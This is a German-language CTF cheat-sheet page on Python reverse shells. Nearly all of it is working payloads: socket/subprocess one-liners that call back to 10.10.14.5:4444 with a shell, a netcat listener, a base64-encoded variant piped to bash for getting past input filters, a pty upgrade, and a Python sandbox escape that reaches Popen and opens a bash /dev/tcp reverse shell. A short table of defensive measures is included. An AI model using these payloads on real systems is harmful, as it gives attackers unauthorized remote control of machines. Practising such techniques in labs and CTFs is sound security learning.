Python Shells

Beispiel: Python Reverse Shell mit socket und os

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Auf Angreifer-Seite:

nc -lvnp 4444
  • Baut TCP-Verbindung zu Angreifer auf

  • Leitet Ein-/Ausgabe auf Shell um

  • Funktioniert auf fast allen Linux-Systemen mit Python


Einleitung

Python Shells sind Reverse Shells, die in Python geschrieben sind. Sie bieten mehr Kontrolle und Stabilität als viele andere Shell-Varianten, da Python direkten Zugriff auf Netzwerk, Prozesse und Dateisystem erlaubt. Besonders in CTFs sind sie wegen ihrer Flexibilität und Kompatibilität beliebt.


Wann und warum Python Shells verwenden?

Typische Szenarien:

  • Zielsystem hat Python, aber kein Netcat oder Bash

  • Du brauchst eine stabile Shell mit einfacher TTY-Integration

  • Exploits, die nur kurze Befehle oder Payloads erlauben

Vorteile:

  • Weit verbreitet (meistens vorinstalliert)

  • Leicht anpassbar (Port, Protokoll, Payload-Form)

  • Gut kombinierbar mit Shell Upgrade (z. B. pty.spawn())

Nachteile:

  • Kein TTY von Haus aus

  • Python kann deaktiviert oder entfernt sein (minimalisierte Systeme)



Weitere Payload-Beispiele

Einfache Variante (funktioniert auch mit Python 2)

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

Base64-kodiert (für LFI, Filter, SQLi)

echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0Li4u' | base64 -d | bash

Tipp: Oft verwendet bei restriktiven Eingabefeldern oder Payload-Kodierung


Technische Voraussetzungen

Merkmal
Voraussetzung

Python-Version

2.6+, 3.x

Funktionen

socket, subprocess, os

Netzwerkzugriff

Ziel muss ausgehende Verbindung erlauben

Listener

Standard TCP (z. B. Netcat)


Shell Upgrade

Nach erfolgreicher Verbindung kann die Shell mit Python selbst verbessert werden:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Weitere Schritte: siehe Shell Upgrade


Sicherheit und Erkennung

Abwehrmaßnahme
Wirkung

Entfernen von Python-Interpreter

Verhindert Ausführung vollständig

Application Whitelisting

Nur autorisierte Skripte erlauben

IDS/IPS

Erkennung typischer Socket-Muster in Reverse Shells

Network Monitoring

Kontrolle ausgehender Ports und IPs


Classes durchsuchen

print((()).__class__.__bases__[0].__subclasses__())

Popen

Wenn man zugriff auf alle Classes hat bzw. eine Übersicht, und POPEN zugelassen sit kann folgendes verwendet werden

raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
    "bash -c 'bash -i >& /dev/tcp/your_IP/4444 0>&1'", shell=True, stdout=-1).communicate()))

Last updated